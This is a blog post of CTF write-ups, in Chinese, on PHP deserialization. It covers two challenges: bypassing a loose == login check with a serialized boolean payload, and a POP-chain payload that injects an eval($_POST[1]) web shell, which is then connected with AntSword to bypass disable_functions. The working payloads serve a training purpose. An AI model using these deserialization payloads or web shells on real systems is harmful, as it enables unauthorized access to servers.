序列化

php

[HUBUCTF 2022 新生赛]checkin

0x00

这道题知道了原理还是很简单的,值得学习的地方是反序列化和序列化

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}

?>

首先看源码,可以发现我们只需要对应的相等就可以,但是但是这里说已经将值改了,所以这里是不是很好猜
但是看到==若比较,那就好办了

image-20230711100710061

我们只要将值变成true就可以了

?info=a:2:{s:8:”username”;b:1;s:8:”password”;b:1;}

可以尝试使用代码生成

image-20240115185429391

1
2
3
4
5
6
7
<?php
$info = array(
"username" => true,
"password" => true,
);
echo serialize($info);

[天翼杯 2021]esay_eval

0x00

利用知识点

  1. 反序列化
  2. 绕过disable_function

0x01

image-20240430213154257

发现反序列化

0x02

构造反序列化链

1
http://node4.anna.nssctf.cn:28581/?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

然后通过antsword 连接

image-20240430215632707

发现没有权限

直接使用antsword 绕过

image-20240430215759815

image-20240430215754917

image-20240430215809795


序列化
https://tsy244.github.io/2024/01/15/CTF刷题记录/WEB/序列化/
Author
August Rosenberg
Posted on
January 15, 2024
Licensed under